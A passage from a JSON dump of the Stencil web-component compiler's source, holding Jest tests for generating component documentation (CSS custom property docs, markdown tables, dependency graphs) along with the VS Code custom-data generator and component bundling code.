'these are the docs for my-style-a',\n        name: 'my-style-a',\n        mode: 'md',\n      };\n      const iosCompilerStyle: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 'these are the docs for my-style-a',\n        name: 'my-style-a',\n        mode: 'ios',\n      };\n      const compilerMeta = stubComponentCompilerMeta({\n        styleDocs: [mdCompilerStyle, iosCompilerStyle],\n      });\n\n      const actual = getDocsStyles(compilerMeta);\n\n      expect(actual).toEqual([iosCompilerStyle, mdCompilerStyle]);\n    });\n  });\n\n  it(\"returns CompilerStyleDoc with the same name in the order they're provided\", () => {\n    const compilerStyleDocOne: d.CompilerStyleDoc = {\n      annotation: 'prop',\n      docs: 'these are the docs for my-style-a (first lowercase)',\n      name: 'my-style-a',\n      mode: 'ios',\n    };\n    const compilerStyleDocTwo: d.CompilerStyleDoc = {\n      annotation: 'prop',\n      docs: 'these are more docs for my-style-A (only capital)',\n      name: 'my-style-A',\n      mode: 'ios',\n    };\n    const compilerStyleDocThree: d.CompilerStyleDoc = {\n      annotation: 'prop',\n      docs: 'these are more docs for my-style-a (second lowercase)',\n      name: 'my-style-a',\n      mode: 'ios',\n    };\n    const compilerMeta = stubComponentCompilerMeta({\n      styleDocs: [compilerStyleDocOne, compilerStyleDocThree, compilerStyleDocTwo],\n    });\n\n    const actual = getDocsStyles(compilerMeta);\n\n    expect(actual).toEqual([compilerStyleDocOne, compilerStyleDocThree, compilerStyleDocTwo]);\n  });\n\n  describe('default values', () => {\n    it.each(['', null, undefined])(\n      \"defaults the annotation to an empty string if '%s' is provided\",\n      (annotationValue) => {\n        const compilerStyleDoc: d.CompilerStyleDoc = {\n          annotation: 'prop',\n          docs: 'these are the docs for this prop',\n          name: 'my-style-one',\n          mode: DEFAULT_STYLE_MODE,\n        };\n        // @ts-ignore the intent of this test to verify the fallback of this field if it's falsy\n        compilerStyleDoc.annotation = annotationValue;\n\n        const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] });\n\n        const actual = getDocsStyles(compilerMeta);\n\n        expect(actual).toEqual([\n          {\n            annotation: '',\n            docs: 'these are the docs for this prop',\n            name: 'my-style-one',\n          },\n        ]);\n      },\n    );\n\n    it.each(['', null, undefined])(\"defaults the docs to an empty string if '%s' is provided\", (docsValue) => {\n      const compilerStyleDoc: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 'these are the docs for this prop',\n        name: 'my-style-one',\n        mode: DEFAULT_STYLE_MODE,\n      };\n      // @ts-ignore the intent of this test to verify the fallback of this field if it's falsy\n      compilerStyleDoc.docs = docsValue;\n\n      const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] });\n\n      const actual = getDocsStyles(compilerMeta);\n\n      expect(actual).toEqual([\n        {\n          annotation: 'prop',\n          docs: '',\n          name: 'my-style-one',\n        },\n      ]);\n    });\n\n    it.each(['', undefined, null, DEFAULT_STYLE_MODE])(\n      \"uses 'undefined' for the mode value when '%s' is provided\",\n      (modeValue) => {\n        const compilerStyleDoc: d.CompilerStyleDoc = {\n          annotation: 'prop',\n          docs: 'these are the docs for this prop',\n          name: 'my-style-one',\n          // we intentionally set this to non-compliant types for the purpose of this test, hence the type assertion\n          mode: modeValue as unknown as string,\n        };\n\n        const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] });\n\n        const actual = getDocsStyles(compilerMeta);\n\n        expect(actual).toEqual([\n          {\n            annotation: 'prop',\n            docs: 'these are the docs for this prop',\n            name: 'my-style-one',\n            mode: undefined,\n          },\n        ]);\n      },\n    );\n\n    it('uses the mode value, when a valid string is provided', () => {\n      const compilerStyleDoc: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 'these are the docs for this prop',\n        name: 'my-style-one',\n        mode: 'valid-string',\n      };\n\n      const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] });\n\n      const actual = getDocsStyles(compilerMeta);\n\n      expect(actual).toEqual([\n        {\n          annotation: 'prop',\n          docs: 'these are the docs for this prop',\n          name: 'my-style-one',\n          mode: 'valid-string',\n        },\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/docs/test/markdown-dependencies.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { DEFAULT_TARGET_COMPONENT_STYLES } from '../../config/constants';\nimport { depsToMarkdown } from '../readme/markdown-dependencies';\n\ndescribe('depsToMarkdown()', () => {\n  it('should use default settings if docs.markdown configuration was not provided', () => {\n    const mockConfig = {\n      docs: {\n        markdown: {\n          targetComponent: {\n            ...DEFAULT_TARGET_COMPONENT_STYLES,\n          },\n        },\n      },\n    } as d.ValidatedConfig;\n    const md = depsToMarkdown(\n      {\n        dependencies: [],\n        dependencyGraph: {\n          's-test': ['s-test-dep1'],\n        },\n        dependents: [],\n        docs: '',\n        docsTags: [],\n        encapsulation: undefined,\n        events: [],\n        listeners: [],\n        methods: [],\n        parts: [],\n        customStates: [],\n        props: [],\n        readme: '',\n        slots: [],\n        styles: [],\n        tag: '',\n        usage: undefined,\n      },\n      [],\n      mockConfig,\n    );\n    expect(md).toEqual([\n      '## Dependencies',\n      '',\n      '### Graph',\n      '```mermaid',\n      'graph TD;',\n      '  s-test --> s-test-dep1',\n      `  style  fill:${DEFAULT_TARGET_COMPONENT_STYLES.background},stroke:${DEFAULT_TARGET_COMPONENT_STYLES.textColor},stroke-width:4px`,\n      '```',\n      '',\n    ]);\n  });\n\n  it('should use provided background settings for generated dependencies graph', () => {\n    const mockColor = '#445334';\n    const mockConfig = {\n      docs: {\n        markdown: {\n          targetComponent: {\n            background: mockColor,\n            textColor: DEFAULT_TARGET_COMPONENT_STYLES.textColor,\n          },\n        },\n      },\n    } as d.ValidatedConfig;\n    const md = depsToMarkdown(\n      {\n        dependencies: [],\n        dependencyGraph: {\n          's-test': ['s-test-dep1'],\n        },\n        dependents: [],\n        docs: '',\n        docsTags: [],\n        encapsulation: undefined,\n        events: [],\n        listeners: [],\n        methods: [],\n        parts: [],\n        customStates: [],\n        props: [],\n        readme: '',\n        slots: [],\n        styles: [],\n        tag: '',\n        usage: undefined,\n      },\n      [],\n      mockConfig,\n    );\n    expect(md).toEqual([\n      '## Dependencies',\n      '',\n      '### Graph',\n      '```mermaid',\n      'graph TD;',\n      '  s-test --> s-test-dep1',\n      `  style  fill:${mockColor},stroke:${DEFAULT_TARGET_COMPONENT_STYLES.textColor},stroke-width:4px`,\n      '```',\n      '',\n    ]);\n  });\n\n  it('should use provided text color settings for generated dependencies graph', () => {\n    const mockColor = '#445334';\n    const mockConfig = {\n      docs: {\n        markdown: {\n          targetComponent: {\n            background: DEFAULT_TARGET_COMPONENT_STYLES.background,\n            textColor: mockColor,\n          },\n        },\n      },\n    } as d.ValidatedConfig;\n    const md = depsToMarkdown(\n      {\n        dependencies: [],\n        dependencyGraph: {\n          's-test': ['s-test-dep1'],\n        },\n        dependents: [],\n        docs: '',\n        docsTags: [],\n        encapsulation: undefined,\n        events: [],\n        listeners: [],\n        methods: [],\n        parts: [],\n        customStates: [],\n        props: [],\n        readme: '',\n        slots: [],\n        styles: [],\n        tag: '',\n        usage: undefined,\n      },\n      [],\n      mockConfig,\n    );\n    expect(md).toEqual([\n      '## Dependencies',\n      '',\n      '### Graph',\n      '```mermaid',\n      'graph TD;',\n      '  s-test --> s-test-dep1',\n      `  style  fill:${DEFAULT_TARGET_COMPONENT_STYLES.background},stroke:${mockColor},stroke-width:4px`,\n      '```',\n      '',\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/docs/test/markdown-overview.spec.ts",
    "content": "import { overviewToMarkdown } from '../readme/markdown-overview';\n\ndescribe('markdown-overview', () => {\n  describe('overviewToMarkdown', () => {\n    it('returns no overview if no docs exist', () => {\n      const generatedOverview = overviewToMarkdown('').join('\\n');\n\n      expect(generatedOverview).toBe('');\n    });\n\n    it('generates a single line overview', () => {\n      const generatedOverview = overviewToMarkdown('This is a custom button component').join('\\n');\n\n      expect(generatedOverview).toBe(`## Overview\n\nThis is a custom button component\n`);\n    });\n\n    it('generates a multi-line overview', () => {\n      const description = `This is a custom button component.\nIt is to be used throughout the design system.\n\nThis is a comment followed by a newline.\n`;\n      const generatedOverview = overviewToMarkdown(description).join('\\n');\n\n      expect(generatedOverview).toBe(`## Overview\n\nThis is a custom button component.\nIt is to be used throughout the design system.\n\nThis is a comment followed by a newline.\n`);\n    });\n\n    it('trims all leading newlines & leaves one at the end', () => {\n      const description = `\nThis is a custom button component.\n\n`;\n      const generatedOverview = overviewToMarkdown(description).join('\\n');\n\n      expect(generatedOverview).toBe(`## Overview\n\nThis is a custom button component.\n`);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/docs/test/markdown-props.spec.ts",
    "content": "import { propsToMarkdown } from '../../docs/readme/markdown-props';\n\ndescribe('markdown props', () => {\n  it('advanced union types', () => {\n    const markdown = propsToMarkdown([\n      {\n        name: 'hello',\n        attr: 'hello',\n        docs: 'This is a prop',\n        default: 'false',\n        type: 'boolean | string',\n        mutable: false,\n        optional: false,\n        required: false,\n        reflectToAttr: false,\n        docsTags: [],\n        values: [],\n        getter: false,\n        setter: false,\n      },\n      {\n        name: 'hello',\n        attr: undefined,\n        docs: 'This is a prop',\n        default: 'false',\n        type: 'boolean | string',\n        mutable: false,\n        optional: false,\n        required: false,\n        reflectToAttr: false,\n        docsTags: [],\n        values: [],\n        getter: false,\n        setter: false,\n      },\n    ]).join('\\n');\n    expect(markdown).toEqual(`## Properties\n\n| Property | Attribute | Description    | Type                | Default |\n| -------- | --------- | -------------- | ------------------- | ------- |\n| \\`hello\\`  | \\`hello\\`   | This is a prop | \\`boolean \\\\| string\\` | \\`false\\` |\n| \\`hello\\`  | --        | This is a prop | \\`boolean \\\\| string\\` | \\`false\\` |\n\n`);\n  });\n\n  it('escapes template literal types', () => {\n    const markdown = propsToMarkdown([\n      {\n        name: 'width',\n        attr: 'width',\n        docs: 'Width of the button',\n        default: 'undefined',\n        type: '`${number}px` | `${number}%`',\n        mutable: false,\n        optional: false,\n        required: false,\n        reflectToAttr: false,\n        docsTags: [],\n        values: [],\n        getter: false,\n        setter: false,\n      },\n    ]).join('\\n');\n\n    expect(markdown).toEqual(`## Properties\n\n| Property | Attribute | Description         | Type                                | Default     |\n| -------- | --------- | ------------------- | ----------------------------------- | ----------- |\n| \\`width\\`  | \\`width\\`   | Width of the button | \\`\\` \\`\\${number}px\\` \\\\| \\`\\${number}%\\` \\`\\` | \\`undefined\\` |\n\n`);\n  });\n\n  it('escapes backticks in default value', () => {\n    const markdown = propsToMarkdown([\n      {\n        name: 'quote',\n        attr: 'quote',\n        docs: 'Quote character',\n        default: \"'`'\",\n        type: 'string',\n        mutable: false,\n        optional: false,\n        required: false,\n        reflectToAttr: false,\n        docsTags: [],\n        values: [],\n        getter: false,\n        setter: false,\n      },\n    ]).join('\\n');\n\n    expect(markdown).toEqual(`## Properties\n\n| Property | Attribute | Description     | Type     | Default   |\n| -------- | --------- | --------------- | -------- | --------- |\n| \\`quote\\`  | \\`quote\\`   | Quote character | \\`string\\` | \\`\\` '\\`' \\`\\` |\n\n`);\n  });\n\n  it('outputs `undefined` in default column when `prop.default` is undefined', () => {\n    const markdown = propsToMarkdown([\n      {\n        name: 'first',\n        attr: 'first',\n        docs: 'First name',\n        default: undefined,\n        type: 'string',\n        mutable: false,\n        optional: false,\n        required: false,\n        reflectToAttr: false,\n        docsTags: [],\n        values: [],\n        getter: false,\n        setter: false,\n      },\n    ]).join('\\n');\n\n    expect(markdown).toBe(`## Properties\n\n| Property | Attribute | Description | Type     | Default     |\n| -------- | --------- | ----------- | -------- | ----------- |\n| \\`first\\`  | \\`first\\`   | First name  | \\`string\\` | \\`undefined\\` |\n\n`);\n  });\n});\n"
  },
  {
    "path": "src/compiler/docs/test/output-docs.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { generateMarkdown } from '../readme/output-docs';\n\ndescribe('css-props to markdown', () => {\n  describe('generateMarkdown', () => {\n    const mockReadmeOutput: d.OutputTargetDocsReadme = {\n      type: 'docs-readme',\n      footer: '*Built with StencilJS*',\n    };\n\n    const mockComponent: d.JsonDocsComponent = {\n      tag: 'my-component',\n      filePath: 'src/components/my-component/my-component.tsx',\n      fileName: 'my-component.tsx',\n      dirPath: 'src/components/my-component',\n      readmePath: 'src/components/my-component/readme.md',\n      usagesDir: 'src/components/my-component/usage',\n      encapsulation: 'shadow',\n      docs: '',\n      docsTags: [],\n      usage: {},\n      props: [],\n      methods: [],\n      events: [],\n      listeners: [],\n      styles: [],\n      slots: [],\n      parts: [],\n      dependents: [],\n      dependencies: [],\n      dependencyGraph: {},\n      customStates: [],\n      readme: '',\n    };\n\n    it.each([\n      {\n        name: 'component styles when available',\n        componentStyles: [\n          { name: '--background', docs: 'Background color', annotation: 'prop' as const, mode: undefined },\n          { name: '--color', docs: 'Text color', annotation: 'prop' as const, mode: undefined },\n        ],\n        shouldContain: ['## CSS Custom Properties', '`--background`', 'Background color', '`--color`', 'Text color'],\n        shouldNotContain: [],\n      },\n      {\n        name: 'preserved CSS props (already in component.styles)',\n        componentStyles: [\n          {\n            name: '--bg',\n            docs: 'Defaults to var(--nano-color-blue-cerulean-1000);',\n            annotation: 'prop' as const,\n            mode: undefined,\n          },\n          { name: '--text-color', docs: 'Text color of the component', annotation: 'prop' as const, mode: undefined },\n        ],\n        shouldContain: ['## CSS Custom Properties', '`--bg`', 'Defaults to var(--nano-color-blue-cerulean-1000);'],\n        shouldNotContain: [],\n      },\n      {\n        name: 'no CSS section when styles are empty',\n        componentStyles: [],\n        shouldContain: [],\n        shouldNotContain: ['## CSS Custom Properties'],\n      },\n      {\n        name: 'updated component styles',\n        componentStyles: [\n          { name: '--new-prop', docs: 'New property from build', annotation: 'prop' as const, mode: undefined },\n        ],\n        shouldContain: ['`--new-prop`', 'New property from build'],\n        shouldNotContain: [],\n      },\n    ])('should use $name', ({ componentStyles, shouldContain, shouldNotContain }) => {\n      const component: d.JsonDocsComponent = {\n        ...mockComponent,\n        styles: componentStyles,\n      };\n\n      const markdown = generateMarkdown('# my-component', component, [], mockReadmeOutput);\n\n      shouldContain.forEach((expected) => {\n        expect(markdown).toContain(expected);\n      });\n\n      shouldNotContain.forEach((unexpected) => {\n        expect(markdown).not.toContain(unexpected);\n      });\n    });\n\n    it('should escape special characters in CSS prop descriptions', () => {\n      const component: d.JsonDocsComponent = {\n        ...mockComponent,\n        styles: [\n          {\n            name: '--bg',\n            docs: 'Defaults to var(--nano-color-blue-cerulean-1000); with | pipes',\n            annotation: 'prop',\n            mode: undefined,\n          },\n        ],\n      };\n\n      const markdown = generateMarkdown('# my-component', component, [], mockReadmeOutput);\n\n      // Pipe characters are escaped in markdown tables\n      expect(markdown).toContain('Defaults to var(--nano-color-blue-cerulean-1000); with \\\\| pipes');\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/docs/test/style-docs.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { DEFAULT_STYLE_MODE } from '@utils';\n\nimport { parseStyleDocs } from '../style-docs';\n\ndescribe('style-docs', () => {\n  let styleDocs: d.StyleDoc[];\n\n  beforeEach(() => {\n    styleDocs = [];\n  });\n\n  it('no docs', () => {\n    const styleText = `\n      /**\n       * @prop --max-width\n       */\n\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([{ name: `--max-width`, docs: ``, annotation: 'prop' }]);\n  });\n\n  it('multiline', () => {\n    const styleText = `\n      /**\n       * @prop --color:  This is the docs\n       * for color.\n       @prop    --background   : This is the docs\n                           for background. It is two\n                           * sentences and some :: man.\n       */\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([\n      { name: `--color`, docs: `This is the docs for color.`, annotation: 'prop' },\n      {\n        name: `--background`,\n        docs: `This is the docs for background. It is two sentences and some :: man.`,\n        annotation: 'prop',\n      },\n    ]);\n  });\n\n  it('docs', () => {\n    const styleText = `\n      /**\n       * @prop --max-width: Max width of the alert\n       * @prop --color: Descript with : in it\n       * * @prop --background: background docs\n       @prop --font-weight: font-weight docs\n       */\n\n      html {\n        height: 100%;\n      }\n\n      /**\n       * @prop --border: border docs\n       * @prop --font-size: font-size docs\n       */\n\n      /** @prop --padding: padding docs */\n\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([\n      { name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop' },\n      { name: `--color`, docs: `Descript with : in it`, annotation: 'prop' },\n      { name: `--background`, docs: `background docs`, annotation: 'prop' },\n      { name: `--font-weight`, docs: `font-weight docs`, annotation: 'prop' },\n      { name: `--border`, docs: `border docs`, annotation: 'prop' },\n      { name: `--font-size`, docs: `font-size docs`, annotation: 'prop' },\n      { name: `--padding`, docs: `padding docs`, annotation: 'prop' },\n    ]);\n  });\n\n  it('invalid css prop comment', () => {\n    const styleText = `\n      /**\n       * hello\n       * @prop max-width: Max width of the alert\n       * --max-width: Max width of the alert\n       */\n      /*\n       * @prop --max-width\n       */\n      /* hi i'm normal comments */\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([]);\n  });\n\n  it('no closing comments', () => {\n    const styleText = `\n      /**\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([]);\n  });\n\n  it('no comments', () => {\n    const styleText = `\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([]);\n  });\n\n  it('empty styleText', () => {\n    const styleText = ``;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([]);\n  });\n\n  it('null styleText', () => {\n    const styleText: null = null;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([]);\n  });\n\n  it('works with sass loud comments', () => {\n    const styleText = `\n      /*!\n       * @prop --max-width: Max width of the alert\n       */\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([{ name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop' }]);\n  });\n\n  it('works with multiple, mixed comment types', () => {\n    const styleText = `\n      /**\n       * @prop --max-width: Max width of the alert\n       */\n      /*!\n       * @prop --max-width-loud: Max width of the alert (loud)\n       */\n      body {\n        color: red;\n      }\n    `;\n    parseStyleDocs(styleDocs, styleText);\n    expect(styleDocs).toEqual([\n      { name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop' },\n      { name: `--max-width-loud`, docs: `Max width of the alert (loud)`, annotation: 'prop' },\n    ]);\n  });\n\n  it.each(['ios', 'md', undefined, '', DEFAULT_STYLE_MODE])(\"attaches mode metadata for a style mode '%s'\", (mode) => {\n    const styleText = `\n    /*!\n     * @prop --max-width: Max width of the alert\n     */\n    body {\n      color: red;\n    }\n  `;\n\n    parseStyleDocs(styleDocs, styleText, mode);\n\n    expect(styleDocs).toEqual([{ name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop', mode }]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/docs/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/docs/vscode/index.ts",
    "content": "import { isOutputTargetDocsVscode, join } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { getNameText } from '../generate-doc-data';\n\n/**\n * Generate [custom data](https://github.com/microsoft/vscode-custom-data) to augment existing HTML types in VS Code.\n * This function writes the custom data as a JSON file to disk, which can be used in VS Code to inform the IDE about\n * custom elements generated by Stencil.\n *\n * The JSON generated by this function must conform to the\n * [HTML custom data schema](https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/docs/customData.schema.json).\n *\n * This function generates custom data for HTML only at this time (it does not generate custom data for CSS).\n *\n * @param compilerCtx the current compiler context\n * @param docsData an intermediate representation documentation derived from compiled Stencil components\n * @param outputTargets the output target(s) the associated with the current build\n */\nexport const generateVscodeDocs = async (\n  compilerCtx: d.CompilerCtx,\n  docsData: d.JsonDocs,\n  outputTargets: d.OutputTarget[],\n): Promise<void> => {\n  const vsCodeOutputTargets = outputTargets.filter(isOutputTargetDocsVscode);\n  if (vsCodeOutputTargets.length === 0) {\n    return;\n  }\n\n  await Promise.all(\n    vsCodeOutputTargets.map(async (outputTarget: d.OutputTargetDocsVscode): Promise<void> => {\n      const json = {\n        /**\n         * the 'version' top-level field is required by the schema. changes to the JSON generated by Stencil must:\n         * - comply with v1.X of the schema _OR_\n         * - increment this field as a part of updating the JSON generation. This should be considered a breaking change\n         *\n         * {@link https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/src/htmlLanguageTypes.ts#L184}\n         */\n        version: 1.1,\n        tags: docsData.components.map((cmp: d.JsonDocsComponent) => ({\n          name: cmp.tag,\n          description: {\n            kind: 'markdown',\n            value: cmp.docs,\n          },\n          attributes: cmp.props\n            .filter((p: d.JsonDocsProp): p is DocPropWithAttribute => p.attr !== undefined && p.attr.length > 0)\n            .map(serializeAttribute),\n          references: getReferences(cmp, outputTarget.sourceCodeBaseUrl),\n        })),\n      };\n\n      // fields in the custom data may have a value of `undefined`. calling `stringify` will remove such fields.\n      const jsonContent = JSON.stringify(json, null, 2);\n      await compilerCtx.fs.writeFile(outputTarget.file, jsonContent);\n    }),\n  );\n};\n\n/**\n * This type describes external references for a custom element.\n *\n * An internal representation of Microsoft/VS Code's [`IReference` type](https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/src/htmlLanguageTypes.ts#L153).\n */\ntype TagReference = {\n  name: string;\n  url: string;\n};\n\n/**\n * Generate a 'references' section for a component's documentation.\n * @param cmp the Stencil component to generate a references section for\n * @param repoBaseUrl an optional URL, that when provided, will add a reference to the source code for the component\n * @returns the generated references section, or undefined if no references could be generated\n */\nconst getReferences = (cmp: d.JsonDocsComponent, repoBaseUrl: string | undefined): TagReference[] | undefined => {\n  // collect any `@reference` JSDoc tags on the component\n  const references = getNameText('reference', cmp.docsTags).map(([name, url]) => ({ name, url }));\n\n  if (repoBaseUrl) {\n    references.push({\n      name: 'Source code',\n      url: join(repoBaseUrl, cmp.filePath ?? ''),\n    });\n  }\n  if (references.length > 0) {\n    return references;\n  }\n  return undefined;\n};\n\n/**\n * A type that describes the attributes that can be used with a custom element.\n *\n * An internal representation of Microsoft/VS Code's [`IAttributeData` type](https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/src/htmlLanguageTypes.ts#L165).\n */\ntype AttributeData = {\n  name: string;\n  description: string;\n  values?: { name: string }[];\n};\n\n/**\n * Utility that provides a type-safe way of making a key K on a type T required.\n *\n * This is preferable than using an intersection of `T & {K: someType}` as it ensures that:\n * - the type of K will always match the type T[K]\n * - it should error should K not exist in `keyof T`\n */\ntype WithRequired<T, K extends keyof T> = T & { [P in K]-?: T[P] };\n\n/**\n * A `@Prop` documentation type with a required 'attr' field\n */\ntype DocPropWithAttribute = WithRequired<d.JsonDocsProp, 'attr'>;\n\n/**\n * Serialize a component's class member decorated with `@Prop` to be written to disk\n * @param prop the intermediate representation of the documentation to serialize\n * @returns the serialized data\n */\nconst serializeAttribute = (prop: DocPropWithAttribute): AttributeData => {\n  const attribute: AttributeData = {\n    name: prop.attr,\n    description: prop.docs,\n  };\n  const values = prop.values\n    .filter(\n      (jsonDocValue: d.JsonDocsValue): jsonDocValue is Required<d.JsonDocsValue> =>\n        jsonDocValue.type === 'string' && jsonDocValue.value !== undefined,\n    )\n    .map((jsonDocValue: Required<d.JsonDocsValue>) => ({ name: jsonDocValue.value }));\n\n  if (values.length > 0) {\n    attribute.values = values;\n  }\n  return attribute;\n};\n"
  },
  {
    "path": "src/compiler/entries/component-bundles.ts",
    "content": "import { sortBy } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getDefaultBundles } from './default-bundles';\n\n/**\n * Generate a list of all component tags that will be used by the output\n *\n * If the user has set the {@link d.Config.excludeUnusedDependencies} option\n * to `false` then this simply returns all components.\n *\n * Else, this takes {@link d.ComponentCompilerMeta} objects which are being\n * used in the current output and then ensures that all used components as well\n * as their dependencies are present.\n *\n * @param config the Stencil configuration used for the build\n * @param defaultBundles metadata of the assumed components being used/bundled\n * @param allCmps all known components\n * @returns a set of all component tags that are used\n */\nfunction computeUsedComponents(\n  config: d.ValidatedConfig,\n  defaultBundles: readonly d.ComponentCompilerMeta[][],\n  allCmps: readonly d.ComponentCompilerMeta[],\n): Set<string> {\n  if (!config.excludeUnusedDependencies) {\n    // the user/config has specified that Stencil should use all the dependencies it's found, return the set of all\n    // known tags\n    return new Set(allCmps.map((c: d.ComponentCompilerMeta) => c.tagName));\n  }\n  const usedComponents = new Set<string>();\n\n  // All components\n  defaultBundles.forEach((entry: readonly d.ComponentCompilerMeta[]) => {\n    entry.forEach((cmp: d.ComponentCompilerMeta) => usedComponents.add(cmp.tagName));\n  });\n  allCmps.forEach((cmp: d.ComponentCompilerMeta) => {\n    if (!cmp.isCollectionDependency) {\n      usedComponents.add(cmp.tagName);\n    }\n  });\n  allCmps.forEach((cmp: d.ComponentCompilerMeta) => {\n    if (cmp.isCollectionDependency) {\n      if (cmp.dependents.some((dep: string) => usedComponents.has(dep))) {\n        usedComponents.add(cmp.tagName);\n      }\n    }\n  });\n\n  return usedComponents;\n}\n\n/**\n * Generate the bundles that will be used during the bundling process\n *\n * This gathers information about all of the components used in the build,\n * including the bundles which will be included by default, and then returns a\n * deduplicated list of all the bundles which need to be present.\n *\n * @param config the Stencil configuration used for the build\n * @param buildCtx the current build context\n * @returns the bundles to be used during the bundling process\n */\nexport function generateComponentBundles(\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n): readonly d.ComponentCompilerMeta[][] {\n  const components = sortBy(buildCtx.components, (cmp: d.ComponentCompilerMeta) => cmp.dependents.length);\n\n  const defaultBundles = getDefaultBundles(config, buildCtx, components);\n  // this is most likely all the components\n  const usedComponents = computeUsedComponents(config, defaultBundles, components);\n\n  if (config.devMode) {\n    // return only components used in the build\n    return components\n      .filter((c: d.ComponentCompilerMeta) => usedComponents.has(c.tagName))\n      .map((cmp: d.ComponentCompilerMeta) => [cmp]);\n  }\n\n  // Visit components that are already in one of the default bundles\n  const alreadyBundled = new Set();\n  defaultBundles.forEach((entry: readonly d.ComponentCompilerMeta[]) => {\n    entry.forEach((cmp: d.ComponentCompilerMeta) => alreadyBundled.add(cmp));\n  });\n\n  const bundlers: readonly d.ComponentCompilerMeta[][] = components\n    .filter((cmp: d.ComponentCompilerMeta) => usedComponents.has(cmp.tagName) && !alreadyBundled.has(cmp))\n    .map((c: d.ComponentCompilerMeta) => [c]);\n\n  return [...defaultBundles, ...optimizeBundlers(bundlers, 0.6)].filter(\n    (b: readonly d.ComponentCompilerMeta[]) => b.length > 0,\n  );\n}\n\n/**\n * Calculate and reorganize bundles based on a calculated similarity score between bundle entries\n * @param bundles the bundles to reorganize\n * @param threshold a numeric value used to determine whether or not bundles should be reorganized\n * @returns the reorganized bundles\n */\nfunction optimizeBundlers(\n  bundles: readonly d.ComponentCompilerMeta[][],\n  threshold: number,\n): readonly d.ComponentCompilerMeta[][] {\n  /**\n   * build a mapping of component tag names in each `bundles` entry to the index where that entry occurs in `bundles`:\n   * ```ts\n   * bundles = [\n   *   [\n   *     {\n   *       tagName: 'my-foo', ...<other_fields>,\n   *     },\n   *   ],\n   *   [\n   *     {\n   *       tagName: 'my-bar', ...<other_fields>,\n   *     },\n   *     {\n   *       tagName: 'my-baz', ...<other_fields>,\n   *     },\n   *   ],\n   * ];\n   * // yields\n   * {\n   *   'my-foo': 0,\n   *   'my-bar': 1,\n   *   'my-baz': 1,\n   * }\n   * ```\n   * note that in the event of a component being found >1 time, store the index of the last entry in which it's found\n   */\n  const cmpIndexMap = new Map<string, number>();\n  bundles.forEach((entry: readonly d.ComponentCompilerMeta[], index: number) => {\n    entry.forEach((cmp: d.ComponentCompilerMeta) => {\n      cmpIndexMap.set(cmp.tagName, index);\n    });\n  });\n\n  // build a record of components\n  const matrix: readonly Uint8Array[] = bundles.map((entry: readonly d.ComponentCompilerMeta[]) => {\n    const vector = new Uint8Array(bundles.length);\n    entry.forEach((cmp: d.ComponentCompilerMeta) => {\n      // for each dependent of a component, check to see if the dependent has been seen already when the `cmpIndexMap`\n      // was originally built. If so, mark it with a '1'\n      cmp.dependents.forEach((tag: string) => {\n        const index = cmpIndexMap.get(tag);\n        if (index !== undefined) {\n          vector[index] = 1;\n        }\n      });\n    });\n    entry.forEach((cmp: d.ComponentCompilerMeta) => {\n      // for each entry, check to see if the component has been seen already when the `cmpIndexMap` was originally\n      // built. If so, mark it with a '0', potentially overriding a previously set value on the vector.\n      const index = cmpIndexMap.get(cmp.tagName);\n      if (index !== undefined) {\n        vector[index] = 0;\n      }\n    });\n    return vector;\n  });\n\n  // resolve similar components\n  const newBundles: d.ComponentCompilerMeta[][] = [];\n\n  const visited = new Uint8Array(bundles.length);\n  for (let i = 0; i < matrix.length; i++) {\n    // check if bundle is visited (0 means it's not)\n    if (visited[i] === 0) {\n      const bundle = [...bundles[i]];\n      visited[i] = 1;\n      for (let j = i + 1; j < matrix.length; j++) {\n        if (visited[j] === 0 && computeScore(matrix[i], matrix[j]) >= threshold) {\n          bundle.push(...bundles[j]);\n          visited[j] = 1;\n        }\n      }\n      newBundles.push(bundle);\n    }\n  }\n  return 